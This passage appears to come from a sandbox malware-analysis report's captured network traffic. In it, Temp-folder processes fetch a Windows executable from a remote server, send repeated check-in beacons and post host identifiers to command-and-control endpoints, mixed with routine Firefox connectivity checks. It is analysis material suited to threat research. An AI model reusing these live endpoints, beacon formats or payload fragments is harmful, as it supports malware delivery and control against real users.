Oct 31, 2024 04:16:43.816428900 CET	1236	IN	Data Raw: a4 89 86 9f 86 21 d2 74 b3 c7 1d c0 6f df ed 6e 2b d8 18 bb 5d c9 0e b9 6d d7 54 d1 73 10 fe 7e d5 d5 01 97 39 ec ec b4 4f e6 0e 50 1c f9 ff e3 f3 e8 14 3a c6 49 d8 be 63 af ff 85 a5 08 6a d2 da 0e 1f db 56 0d 17 c1 61 12 fe cd 72 bd 06 c3 44 a9 Data Ascii: !ton+]mTs~9OP:IcjVarDO'=\"8/X9a/T64eTrtaeYi.Sk_Qjt)^YJ\<eoT$MT!-s
Oct 31, 2024 04:16:43.816464901 CET	1236	IN	Data Raw: fd ae bf 81 82 0b 82 fd 71 0d b8 7f 1f b2 f7 2c ce 9a a7 73 c3 71 9b 39 1a ee 9b d6 cf b9 63 59 59 92 08 07 72 8e eb 7f df e9 83 4d e8 46 79 a1 ef bb 73 3f 97 e6 93 d6 9f 0d 6c 90 37 3a 97 16 70 42 e7 fc 64 4a cd 64 94 84 cf 08 68 a7 0c 0d 50 2b Data Ascii: q,sq9cYYrMFys?l7:pBdJdhP+U ?;9U3+o#uz?W3ip.;O?o/sYr=2Z;*XQ?rg}LdTo~U_VOVC>9
Oct 31, 2024 04:16:49.084188938 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 04:16:49.365809917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:49 GMT Content-Type: application/octet-stream Content-Length: 1873920 Last-Modified: Thu, 31 Oct 2024 03:03:32 GMT Connection: keep-alive ETag: "6722f384-1c9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@J@pJ@Wkl'J'J @.rsrc@.idata @ *@bleglpjp0\|@ozncbdew0Jr@.taggant0@J"v@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50053	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:43.265305996 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:16:44.211806059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50063	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:45.749326944 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:16:46.655150890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50070	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:48.313932896 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:16:49.230098009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50071	185.215.113.206	80	5344	C:\Users\user\AppData\Local\Temp\1002779001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:49.933913946 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 04:16:50.849684954 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 04:16:50.951379061 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="build"tale------HJEHIJEBKEBFBFHIIDHI--
Oct 31, 2024 04:16:51.240729094 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50072	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:50.828078032 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:16:51.695504904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50077	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:53.331984997 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:16:54.240097046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50081	34.107.221.82	80	7920	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:53.830399036 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:16:54.426666021 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81941 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:16:54.454336882 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:16:54.578393936 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81941 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50091	34.107.221.82	80	7920	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:54.453731060 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50094	34.107.221.82	80	7920	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:54.601782084 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:16:55.201690912 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81964 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:16:55.362835884 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:16:55.490529060 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81964 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:16:55.804752111 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:16:55.930836916 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81964 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:16:55.951517105 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:16:56.077171087 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81965 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:16:56.438146114 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:16:56.563951015 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81965 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:16:56.859118938 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81965 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:17:00.787626028 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:17:00.913500071 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81969 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:17:10.980026007 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:17:11.418792009 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:17:11.545144081 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81980 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50095	34.107.221.82	80	7920	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:54.749844074 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:16:55.351105928 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81942 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:16:55.662980080 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:16:55.790662050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81942 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:16:55.821033955 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:16:55.948633909 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81942 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:16:56.306982040 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:16:56.435026884 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81943 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:00.655715942 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:00.783782959 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81947 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:10.879246950 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:17:11.284486055 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:11.414172888 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81958 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50102	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:55.828284025 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
